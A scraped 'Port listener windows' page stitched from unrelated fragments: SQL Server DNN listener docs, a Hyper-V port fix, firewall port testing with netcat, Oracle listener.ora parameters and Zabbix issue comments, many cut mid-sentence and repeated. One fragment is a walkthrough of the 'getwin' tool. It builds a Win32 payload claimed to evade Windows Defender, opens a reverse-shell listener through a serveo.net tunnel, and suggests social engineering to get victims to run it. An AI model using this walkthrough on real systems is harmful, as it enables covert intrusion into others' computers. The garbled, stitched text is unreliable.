Port listener windows
Author: u | 2025-04-24
To have a port listener on a specific port in Windows, you can use the Port Listener utility. This utility is available for free for Windows 95 to Windows 10. In the above example, I have started listening port on 5500, and Port Listener Windows / PowerShell. Contribute to operavps/port-listener-windows development by creating an account on GitHub.
operavps/port-listener-windows: Port Listener Windows /
Skip to main content This browser is no longer supported. Upgrade to Microsoft Edge to take advantage of the latest features, security updates, and technical support. Configure a DNN listener for an availability group Article06/18/2024 In this article -->Applies to: SQL Server on Azure VMWith SQL Server on Azure VMs in a single subnet, the distributed network name (DNN) routes traffic to the appropriate clustered resource. It provides an easier way to connect to an Always On availability group (AG) than the virtual network name (VNN) listener, without the need for an Azure Load Balancer.This article teaches you to configure a DNN listener to replace the VNN listener and route traffic to your availability group with SQL Server on Azure VMs for high availability and disaster recovery (HADR).For an alternative connectivity option, consider a VNN listener and Azure Load Balancer instead.OverviewA distributed network name (DNN) listener replaces the traditional virtual network name (VNN) availability group listener when used with Always On availability groups on SQL Server VMs. This negates the need for an Azure Load Balancer to route traffic, simplifying deployment, maintenance, and improving failover.Use the DNN listener to replace an existing VNN listener, or alternatively, use it in conjunction with an existing VNN listener so that your availability group has two distinct connection points - one using the VNN listener name (and port if non-default), and one using the DNN listener name and port.CautionThe routing behavior when using a DNN differs when using a VNN. Do not use port 1433. To learn more, see the Port consideration section later in this article.PrerequisitesBefore you complete the steps in this article, you should already have:SQL Server starting with either SQL Server 2019 CU8 and later, SQL Server 2017 CU25 and later, or SQL Server 2016 SP3 and later on Windows Server 2016 and later.Decided that the distributed network name is the appropriate connectivity option for your HADR solution.Configured your Always On availability group.Installed the latest version of PowerShell.Identified the unique port that you will use for the DNN listener. The port used for a DNN listener must be unique across all replicas of the availability group or failover cluster instance. No other connection can share the same port.NoteIf you have multiple AGs or FCIs on the same cluster and you use either a DNN or VNN listener, then each AG or FCI needs its own independent connection point.Create scriptUse PowerShell to create the distributed network name (DNN) resource and associate it with your availability group.To do so, follow these steps:Open a text editor, such as Notepad.Copy and paste the following script:param ( [Parameter(Mandatory=$true)][string]$Ag, [Parameter(Mandatory=$true)][string]$Dns, [Parameter(Mandatory=$true)][string]$Port)Write-Host "Add a DNN listener for availability group $Ag with DNS name $Dns and port $Port"$ErrorActionPreference = "Stop"# create the DNN resource with the port as the resource nameAdd-ClusterResource -Name $Port -ResourceType "Distributed Network Name" -Group $Ag # set the DNS name of the DNN resourceGet-ClusterResource -Name $Port | Set-ClusterParameter -Name DnsName -Value $Dns # start the DNN resourceStart-ClusterResource -Name $Port$Dep = Get-ClusterResourceDependency -Resource $Agif ( $Dep.DependencyExpression The primary replica through the listener with Windows authentication:sqlcmd -S -EIf the listener is using a port other than the default port (1433), specify the port in the connection string. For example, the following sqlcmd command connects to a listener at port 1435:sqlcmd -S ,1435 -EThe SQLCMD connection automatically connects to whichever instance of SQL Server hosts the primary replica.NoteMake sure that the port you specify is open on the firewall of both SQL Servers. Both servers require an inbound rule for the TCP port that you use. For more information, see Add or Edit Firewall Rule.If you're on the secondary replica VM, and you're unable to connect to the listener, it's possible the probe port was not configured correctly.You can use the following script to validate the probe port is correctly configured for the availability group:Clear-HostGet-ClusterResource `| Where-Object {$_.ResourceType.Name -like "IP Address"} `| Get-ClusterParameter `| Where-Object {($_.Name -like "Network") -or ($_.Name -like "Address") -or ($_.Name -like "ProbePort") -or ($_.Name -like "SubnetMask")}Guidelines and limitationsNote the following guidelines on availability group listener in Azure using internal load balancer:With an internal load balancer, you only access the listener from within the same virtual network.If you're restricting access with an Azure Network Security Group, ensure that the allow rules include:The backend SQL Server VM IP addressesThe load balancer floating IP addresses for the AG listenerThe cluster core IP address, if applicable.Create a service endpoint when using a standard load balancer with Azure Storage for the cloud witness. For more information, see Grant access from a virtual network.PowerShell cmdletsUse the following PowerShell cmdlets to create an internal load balancer for Azure Virtual Machines.New-AzLoadBalancer creates a load balancer.New-AzLoadBalancerFrontendIpConfig creates a front-end IP configuration for a load balancer.New-AzLoadBalancerRuleConfig creates a rule configuration for a load balancer.New-AzLoadBalancerBackendAddressPoolConfig creates a backend address pool configuration for a load balancer.New-AzLoadBalancerProbeConfigFree port listener Download - port listener for Windows - UpdateStar
The Win + R keys.Type “services.msc” and click OK to open Windows services.Type in services.mscRight-click on Cryptographic services and open its properties.Opening cryptographic services propertiesChange the Startup type to “Disabled.”Click on Apply and OK. Disabling the service8. Change the default Windows port numberWindows has a default port number for the Hyper-V and Virtual Machine connectivity. When Windows fails to communicate with that port number, it fails to connect to the Virtual Machine. Changing this port number is known to fix connectivity errors. Therefore, you can change your default port number with the following instructions:Turning off the virtual machineRight-click on the Virtual Machine.Select the “Turn off” option on the context menu.Turning off the virtual machineChecking port numberOpen the run command with the Win +R keys.Type “regedit” and click OK to open the registry editor.Opening registry editor Navigate to the following path:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\VirtualizationNow, check the Listener port number on the right pane.Verifying listener port numberVerifying port number connectionOpen the Windows start menu with the Win key.Type “cmd” and run it as an administrator.Type the following command and press Enternetstat -ano | find "2179"Verifying port connectionThe command fails to run which indicates that Windows has failed to connect to the Port.Changing Port numberMinimize the command prompt and return to the Registry Editor.Right-click on the Listener Port Registry key and select modify. Modifying the registry keyChange the value to “21791” and select the Decimal radio button.Click OK to apply the changes.Changing value dataRestarting the serviceOpen the Windows start menu and type “PowerShell.”Run “Windows Powershell” as an administrator.Type the following commands to restart the virtual machine services:stop-service vmmsstart-service vmmsRestarting the Virtual machine serviceOpen the minimized command prompt (as an administrator)Type the following command and press Enternetstat -ano | find "21791"Changing the state of the portWhen both TCPs are “LISTENING”, you can launch the Virtual Machine. Muhammad Zubyan Muhammad Zubyan is a certified Google IT Support Professional with over 7 years of extensive experience. He has worked on more than 1500 computers, gaining valuable insights that enable him to detect and troubleshoot any complicated root cause of Windows-related issues and errors. In addition to managing Appuals as a Senior Editor, he is currently developing his own Game Optimization program that caters to both gamers and casual users alike.. To have a port listener on a specific port in Windows, you can use the Port Listener utility. This utility is available for free for Windows 95 to Windows 10. In the above example, I have started listening port on 5500, andGitHub - nocapscripts/Port-Listener: Port listening tool for
One of our customers is securing his network, and firewall changes were made that needed to be tested. In this case, the new servers were not yet deployed in that specific network. But… We did want to test the connections before deploying the servers 🙂 In this blog post, I will show you how to create listening ports on a machine to test the connection from another network using netcat on Linux or portqry on Windows.PreparationWindowsLinuxStarting a listenerChecking the portsLinuxUDPTCPWindowsUDPTCP The scriptPreparationIn this case, we are using netcat and portqry as our testing tools, depending on your operating system. Follow the procedure below to install it on your system.WindowsDownload portqry here (Direct link) and save PortQryV2.exe to a temporary location. Run it and extract the files somewhere on the system that you will use to test the ports. It can test both TCP and UDP.LinuxDepending on what Linux flavor you’re running, the installation could be different than the command line below in which I install it on a Ubuntu machine using apt getsudo apt install netcatStarting a listenerAfter running the command below in a PowerShell prompt from within the directory in which you saved the script, the New-Portlistener PowerShell function is available in your session (Alternatively, you could run it from PowerShell ISE). .\New-PortlistenerNow that the function is available, you can start a TCP listener on port 9001, for example by running this command:New-Portlistener -UDPPort 9001After running, you will see this output on your screen:You can press Escape to stop the listener, and it should show this as the output:Stopped listening on UDP port 9001If you are trying to start a listener which is already active, it will show an error (In this example, I used TCP port 3389 which is the default RDP port)WARNING: TCP Port 3389 is already listening, aborting...Note: Windows Firewall could give pop-ups when starting the listenerChecking the portsIf you have a TCP or UDP listener port running on a Windows machine, you can start testing the connection from a Windows or Linux machine in another network.LinuxUDPTo use netcat for checking a UDP connection, you can Receive operations. SEND_BUF_SIZEUse the SEND_BUF_SIZE parameter to specify buffer space for session send operations. 8.2.1 ADDRESS The protocol ADDRESS parameter’s networking parameter is in the listener.ora file. It specifies the protocol address under the DESCRIPTION parameter for one listener. Purpose Specifies a single listener protocol address in the DESCRIPTION parameter Usage Notes Use this parameter to define the protocol, the host, and the port number for the listener. Examplelistener_name= (DESCRIPTION= (ADDRESS_LIST= (ADDRESS=(PROTOCOL=tcp)(HOST=hr-server)(PORT=1521)) (ADDRESS=(PROTOCOL=tcp)(HOST=sales-server)(PORT=1521)))) 8.2.2 DESCRIPTION DESCRIPTION networking parameter of the listener.ora file contains listener protocol addresses. Purpose To contain listener protocol addresses. Example 8-2 Examplelistener_name= (DESCRIPTION= (ADDRESS_LIST= (ADDRESS=(PROTOCOL=tcp)(HOST=hr-server)(PORT=1521)) (ADDRESS=(PROTOCOL=tcp)(HOST=sales-server)(PORT=1521)))) 8.2.3 Firewall Purpose It can be set in endpoint to enable firewall functionality. 8.2.4 IP The protocol address parameter IP determine which IP address the listener listens on when a host name is specified Purpose To determine which IP address the listener listens on when a host name is specified. Usage Notes This parameter is only applicable when the HOST parameter specifies a host name. Values first Listen on the first IP address returned by the DNS resolution of the host name. If the user wants the listener to listen on the first IP to which the specified host name resolves, then the address must be qualified with (IP=first). v4_only Listen only on IPv4 addresses. v6_only Listen only on IPv6 addresses. Default This feature is disabled by default. Example listener_name= (DESCRIPTION= (ADDRESS=(PROTOCOL=tcp)(HOST=rancode1-vip)(PORT=1522)(IP=v6_only)) 8.2.5 QUEUESIZE Purpose To specify the number of concurrent connection requests that the listener can accept on a TCP/IP or IPC listening endpoint (protocol address). Usage Notes The number of concurrent connection requests is dependent on the platform and listener usage scenarios. If the listener is heavily-loaded, then set the parameter to a higher number. Put this parameter at the end of the protocol address with its value set to the expected number of concurrent connection requests. Default The default number of concurrent connection requests is operating system specific. Example listener_name= (DESCRIPTION= (ADDRESS=(PROTOCOL=tcp)(HOST=hr-server)(PORT=1521)(QUEUESIZE=20))) 8.2.6 RECV_BUF_SIZE Use the RECV_BUF_SIZE parameter to specify buffer space for session receive operations. Purpose To specify, in bytes, the buffer space for receive operations ofFIX: RDP Port Not Listening In Windows
Windows shell is what, every hacker loves. There are various Windows payloads are designed to bypass Windows OS security mechanism. According to ethical hacking researcher of international institute of cyber security these payloads are well coded to get sessions of Windows OS. There are many different ways of getting reverse shell. Today we will show getwin tool used to create Win32 payload and listener. Payload generated by this tool is FUD (fully undetectable) by Windows 10 Defender. Do Not Upload the payload generated on virustotal.com.The tool does not need any configuration, no need to configure port forwarding or install other programs. See the demonstration in below video.For testing purposes, On attacker side we will use Kali Linux 2018.4 amd64 and on the Victim side we will use Windows 10 1809.Open terminal type git clone type cd getwin & type chmod u+x getwin.shroot@kali:/home/iicybersecurity/Downloads# git clone Cloning into 'getwin'… remote: Enumerating objects: 46, done. remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 46 Unpacking objects: 100% (46/46), done. root@kali:/home/iicybersecurity/Downloads# cd getwin/ root@kali:/home/iicybersecurity/Downloads/getwin# chmod u+x getwin.sh root@kali:/home/iicybersecurity/Downloads/getwin# ls getwin.sh icon LICENSE README.mdType ./getwin.shroot@kali:/home/iicybersecurity/Downloads/getwin# ./getwin.sh _______ _ _ _ _ (_______) _ (_)(_)(_)(_) _ ___ _____ _| |_ _ _ _ _ ____ | | (_ || ___ |(_ _)| || || || || _ \ | |___) || ____| | |_ | || || || || | | | \_____/ |_____) \__) \_____/ |_||_| |_|v1.2.:.: FUD win32 payload generator and listener :.:. .:.: Coded by:@linux_choice :.:. :: Warning: Attacking targets without :: :: prior mutual consent is illegal! ::After the tool has started, press enter to set default port. Then enter payload name(test01) and select the icon. [*] Choose a Port (Default: 4098 ): [*] Payload name (Default: payload ): test01 [] Put ICON path (Default: icon/messenger.ico ): [] Compiling… [] Saved: test01.exe [!] Please, don't upload to virustotal.com ! [] Starting server… [*] Send the first link above to target + /test01.exe: Forwarding HTTP traffic from Forwarding TCP connections from serveo.net:2119 [*] Waiting connection… listening on [any] 1547 …As you can see listener connection has started. Now you can use any social engineering trick to execute the payload in victim computer.For testing we will use Windows 10 1809 with Windows Defender enabled.So now we will execute the payload in Windows 10 OS.After creating the payload (test01.exe). Execute the payload (test01.exe). Simply double click the executable.As you double click on theGitHub - Devsteer/Port-Listener: relatively simple Port Listener
But all of this didn't lead to port closing, it had been in listen state untill Windows restarted.Unfortunately, debug level was 3 and log just says that agent stopped and couldn't start again: 2772:20181030:231554.837 using configuration file: C:\Program Files\Zabbix\zabbix_agentd.win.conf 2772:20181030:231554.888 agent #0 started [main process] 2784:20181030:231554.889 agent #1 started [collector] 2788:20181030:231554.889 agent #2 started [listener #1] 2792:20181030:231554.889 agent #3 started [listener #2] 2796:20181030:231554.889 agent #4 started [listener #3] 2732:20181212:182802.847 Zabbix Agent stopped. Zabbix 3.4.6 (revision 76819). 9632:20181212:182803.008 Starting Zabbix Agent [Windows host]. Zabbix 3.4.6 (revision 76819). 9632:20181212:182803.008 **** Enabled features **** 9632:20181212:182803.008 IPv6 support: YES 9632:20181212:182803.009 TLS support: NO 9632:20181212:182803.009 ************************** 9632:20181212:182803.009 using configuration file: C:\Program Files\Zabbix\zabbix_agentd.win.conf 9632:20181212:182803.011 listener failed: bind() for [[-]:10050] failed: [0x00002740] Only one usage of each socket address (protocol/network address/port) is normally permitted. Comment by Vladislavs Sokurenko [ 2018 Dec 19 ] Did you have such message in the log ?Zabbix Agent stopped. Comment by Sergey Lisikh [ 2018 Dec 19 ] Yes, I had. Take a look on my previous comment. Comment by Vladislavs Sokurenko [ 2018 Dec 19 ] I am sorry and in that comment which process owns listening socket after termination ? is it 2772 ? Comment by Sergey Lisikh [ 2018 Dec 19 ] Got your thought! I've just caught this issue on of the hosts. Let's recup all information on live situation.Here is new screenshot: service is stopped, process owning socket is different and cannot be investigated in proc listAlso, I misled you about telnet. Actually it is possible to. To have a port listener on a specific port in Windows, you can use the Port Listener utility. This utility is available for free for Windows 95 to Windows 10. In the above example, I have started listening port on 5500, andChange the listening port for Remote Desktop on Windows and Windows
-match '\s*\((.*)\)\s*' ){$DepStr = "$($Matches.1) or [$Port]"}else{$DepStr = "[$Port]"}Write-Host "$DepStr"# add the Dependency from availability group resource to the DNN resourceSet-ClusterResourceDependency -Resource $Ag -Dependency "$DepStr"#bounce the AG resourceStop-ClusterResource -Name $AgStart-ClusterResource -Name $AgSave the script as a .ps1 file, such as add_dnn_listener.ps1.Execute scriptTo create the DNN listener, execute the script passing in parameters for the name of the availability group, listener name, and port.For example, assuming an availability group name of ag1, listener name of dnnlsnr, and listener port as 6789, follow these steps:Open a command-line interface tool, such as command prompt or PowerShell.Navigate to where you saved the .ps1 script, such as c:\Documents.Execute the script: add_dnn_listener.ps1 . For example:c:\Documents> .\add_dnn_listener.ps1 ag1 dnnlsnr 6789Verify listenerUse either SQL Server Management Studio or Transact-SQL to confirm your DNN listener is created successfully.SQL Server Management StudioExpand Availability Group Listeners in SQL Server Management Studio (SSMS) to view your DNN listener:Transact-SQLUse Transact-SQL to view the status of the DNN listener:SELECT * FROM SYS.AVAILABILITY_GROUP_LISTENERSA value of 1 for is_distributed_network_name indicates the listener is a distributed network name (DNN) listener:Update connection stringUpdate the connection string for any application that needs to connect to the DNN listener. The connection string to the DNN listener must provide the DNN port number, and specify MultiSubnetFailover=True in the connection string. If the SQL client does not support the MultiSubnetFailover=True parameter, then it is not compatible with a DNN listener.The following is an example of a connection string for listener name DNN_Listener and port 6789:DataSource=DNN_Listener,6789;MultiSubnetFailover=TrueTest failoverTest failover of the availability group to ensure functionality.To test failover, follow these steps:Connect to the DNN listener or one of the replicas by using SQL Server Management Studio (SSMS).Expand Always On Availability Group in Object Explorer.Right-click the availability group and choose Failover to open the Failover Wizard.Follow the prompts to choose a failover target and fail the availability group over to a secondary replica.Confirm the database is in a synchronized state on the new primary replica.(Optional) Fail back to the original primary, or another secondary replica.Test connectivityTest the connectivity to your DNN listener with these steps:Open SQL Server Management Studio.Connect to your DNN listener.Open a new query window and check which replica you're connected to by running SELECT @@SERVERNAME.Fail the availability group over to another replica.After a reasonable amount of time, run SELECT @@SERVERNAME to confirm your availability group is now hosted on another replica.LimitationsDNN Listeners MUST be configured with a unique port. The port cannot be shared with any other connection on any replica.The client connecting to the DNN listener must support the MultiSubnetFailover=True parameter in the connection string.There might be additional considerations when you're working with other SQL Server features and an availability group with a DNN. For more information, see AG with DNN interoperability.Port considerationsDNN listeners are designed to listen on all IP addresses, but on a specific, unique port. The DNS entry for the listener name should resolve to the addresses of all replicas in the availability group. This is done automatically with the PowerShell script provided in the Create Script section.Comments
Skip to main content This browser is no longer supported. Upgrade to Microsoft Edge to take advantage of the latest features, security updates, and technical support. Configure a DNN listener for an availability group Article06/18/2024 In this article -->Applies to: SQL Server on Azure VMWith SQL Server on Azure VMs in a single subnet, the distributed network name (DNN) routes traffic to the appropriate clustered resource. It provides an easier way to connect to an Always On availability group (AG) than the virtual network name (VNN) listener, without the need for an Azure Load Balancer.This article teaches you to configure a DNN listener to replace the VNN listener and route traffic to your availability group with SQL Server on Azure VMs for high availability and disaster recovery (HADR).For an alternative connectivity option, consider a VNN listener and Azure Load Balancer instead.OverviewA distributed network name (DNN) listener replaces the traditional virtual network name (VNN) availability group listener when used with Always On availability groups on SQL Server VMs. This negates the need for an Azure Load Balancer to route traffic, simplifying deployment, maintenance, and improving failover.Use the DNN listener to replace an existing VNN listener, or alternatively, use it in conjunction with an existing VNN listener so that your availability group has two distinct connection points - one using the VNN listener name (and port if non-default), and one using the DNN listener name and port.CautionThe routing behavior when using a DNN differs when using a VNN. Do not use port 1433. To learn more, see the Port consideration section later in this article.PrerequisitesBefore you complete the steps in this article, you should already have:SQL Server starting with either SQL Server 2019 CU8 and later, SQL Server 2017 CU25 and later, or SQL Server 2016 SP3 and later on Windows Server 2016 and later.Decided that the distributed network name is the appropriate connectivity option for your HADR solution.Configured your Always On availability group.Installed the latest version of PowerShell.Identified the unique port that you will use for the DNN listener. The port used for a DNN listener must be unique across all replicas of the availability group or failover cluster instance. No other connection can share the same port.NoteIf you have multiple AGs or FCIs on the same cluster and you use either a DNN or VNN listener, then each AG or FCI needs its own independent connection point.Create scriptUse PowerShell to create the distributed network name (DNN) resource and associate it with your availability group.To do so, follow these steps:Open a text editor, such as Notepad.Copy and paste the following script:param ( [Parameter(Mandatory=$true)][string]$Ag, [Parameter(Mandatory=$true)][string]$Dns, [Parameter(Mandatory=$true)][string]$Port)Write-Host "Add a DNN listener for availability group $Ag with DNS name $Dns and port $Port"$ErrorActionPreference = "Stop"# create the DNN resource with the port as the resource nameAdd-ClusterResource -Name $Port -ResourceType "Distributed Network Name" -Group $Ag # set the DNS name of the DNN resourceGet-ClusterResource -Name $Port | Set-ClusterParameter -Name DnsName -Value $Dns # start the DNN resourceStart-ClusterResource -Name $Port$Dep = Get-ClusterResourceDependency -Resource $Agif ( $Dep.DependencyExpression
2025-04-23The primary replica through the listener with Windows authentication:sqlcmd -S -EIf the listener is using a port other than the default port (1433), specify the port in the connection string. For example, the following sqlcmd command connects to a listener at port 1435:sqlcmd -S ,1435 -EThe SQLCMD connection automatically connects to whichever instance of SQL Server hosts the primary replica.NoteMake sure that the port you specify is open on the firewall of both SQL Servers. Both servers require an inbound rule for the TCP port that you use. For more information, see Add or Edit Firewall Rule.If you're on the secondary replica VM, and you're unable to connect to the listener, it's possible the probe port was not configured correctly.You can use the following script to validate the probe port is correctly configured for the availability group:Clear-HostGet-ClusterResource `| Where-Object {$_.ResourceType.Name -like "IP Address"} `| Get-ClusterParameter `| Where-Object {($_.Name -like "Network") -or ($_.Name -like "Address") -or ($_.Name -like "ProbePort") -or ($_.Name -like "SubnetMask")}Guidelines and limitationsNote the following guidelines on availability group listener in Azure using internal load balancer:With an internal load balancer, you only access the listener from within the same virtual network.If you're restricting access with an Azure Network Security Group, ensure that the allow rules include:The backend SQL Server VM IP addressesThe load balancer floating IP addresses for the AG listenerThe cluster core IP address, if applicable.Create a service endpoint when using a standard load balancer with Azure Storage for the cloud witness. For more information, see Grant access from a virtual network.PowerShell cmdletsUse the following PowerShell cmdlets to create an internal load balancer for Azure Virtual Machines.New-AzLoadBalancer creates a load balancer.New-AzLoadBalancerFrontendIpConfig creates a front-end IP configuration for a load balancer.New-AzLoadBalancerRuleConfig creates a rule configuration for a load balancer.New-AzLoadBalancerBackendAddressPoolConfig creates a backend address pool configuration for a load balancer.New-AzLoadBalancerProbeConfig
2025-04-10The Win + R keys.Type “services.msc” and click OK to open Windows services.Type in services.mscRight-click on Cryptographic services and open its properties.Opening cryptographic services propertiesChange the Startup type to “Disabled.”Click on Apply and OK. Disabling the service8. Change the default Windows port numberWindows has a default port number for the Hyper-V and Virtual Machine connectivity. When Windows fails to communicate with that port number, it fails to connect to the Virtual Machine. Changing this port number is known to fix connectivity errors. Therefore, you can change your default port number with the following instructions:Turning off the virtual machineRight-click on the Virtual Machine.Select the “Turn off” option on the context menu.Turning off the virtual machineChecking port numberOpen the run command with the Win +R keys.Type “regedit” and click OK to open the registry editor.Opening registry editor Navigate to the following path:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\VirtualizationNow, check the Listener port number on the right pane.Verifying listener port numberVerifying port number connectionOpen the Windows start menu with the Win key.Type “cmd” and run it as an administrator.Type the following command and press Enternetstat -ano | find "2179"Verifying port connectionThe command fails to run which indicates that Windows has failed to connect to the Port.Changing Port numberMinimize the command prompt and return to the Registry Editor.Right-click on the Listener Port Registry key and select modify. Modifying the registry keyChange the value to “21791” and select the Decimal radio button.Click OK to apply the changes.Changing value dataRestarting the serviceOpen the Windows start menu and type “PowerShell.”Run “Windows Powershell” as an administrator.Type the following commands to restart the virtual machine services:stop-service vmmsstart-service vmmsRestarting the Virtual machine serviceOpen the minimized command prompt (as an administrator)Type the following command and press Enternetstat -ano | find "21791"Changing the state of the portWhen both TCPs are “LISTENING”, you can launch the Virtual Machine. Muhammad Zubyan Muhammad Zubyan is a certified Google IT Support Professional with over 7 years of extensive experience. He has worked on more than 1500 computers, gaining valuable insights that enable him to detect and troubleshoot any complicated root cause of Windows-related issues and errors. In addition to managing Appuals as a Senior Editor, he is currently developing his own Game Optimization program that caters to both gamers and casual users alike.
2025-03-28